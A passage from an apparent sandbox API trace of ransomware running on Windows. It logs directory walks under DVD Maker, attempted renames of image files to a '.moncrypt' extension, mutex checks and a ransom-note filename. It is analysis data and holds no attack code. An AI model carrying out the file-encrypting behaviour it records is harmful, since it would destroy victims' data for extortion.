lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.596] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.596] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.596] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.596] GlobalUnlock (hMem=0x440004) returned 0 [0057.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.597] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.597] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.597] GlobalUnlock (hMem=0x440004) returned 0 [0057.597] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.597] GlobalUnlock (hMem=0x44000c) returned 0 [0057.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.597] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", cchWideChar=89, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 89 [0057.598] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.599] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.599] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.599] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.599] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.600] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0057.600] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0057.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.600] GlobalUnlock (hMem=0x44000c) returned 0 [0057.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.600] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.600] GlobalUnlock (hMem=0x44000c) returned 0 [0057.600] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.600] GlobalUnlock (hMem=0x440004) returned 0 [0057.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.601] CharLowerBuffW (in: lpsz="pagecurl.png", cchLength=0xc | out: lpsz="pagecurl.png") returned 0xc [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.601] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0x54e280 [0057.602] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.602] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.602] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.602] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", dwFileAttributes=0x20) returned 0 [0057.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.603] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.moncrypt")) returned 0 [0057.603] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0057.603] GetLastError () returned 0x12 [0057.603] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.603] GlobalLock (hMem=0x440004) returned 0x550170 [0057.603] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.603] GlobalUnlock (hMem=0x440004) returned 0 [0057.603] GlobalLock (hMem=0x440004) returned 0x550170 [0057.603] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.603] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.603] GlobalUnlock (hMem=0x440004) returned 0 [0057.603] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.603] GlobalUnlock (hMem=0x44000c) returned 0 [0057.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x437f28e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x437f28e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.604] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.604] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.604] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.604] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.604] GlobalUnlock (hMem=0x44000c) returned 0 [0057.604] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.604] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.604] GlobalUnlock (hMem=0x44000c) returned 0 [0057.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.604] GlobalUnlock (hMem=0x440004) returned 0 [0057.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.604] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x437f28e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x437f28e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.604] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.604] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.604] GlobalUnlock (hMem=0x440004) returned 0 [0057.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.604] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.604] GlobalUnlock (hMem=0x440004) returned 0 [0057.605] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.605] GlobalUnlock (hMem=0x44000c) returned 0 [0057.605] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.605] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.605] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.605] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.605] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.605] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.605] GlobalUnlock (hMem=0x44000c) returned 0 [0057.605] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.605] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.605] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.605] GlobalUnlock (hMem=0x44000c) returned 0 [0057.605] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.605] GlobalUnlock (hMem=0x440004) returned 0 [0057.605] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.605] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0057.605] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.605] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, 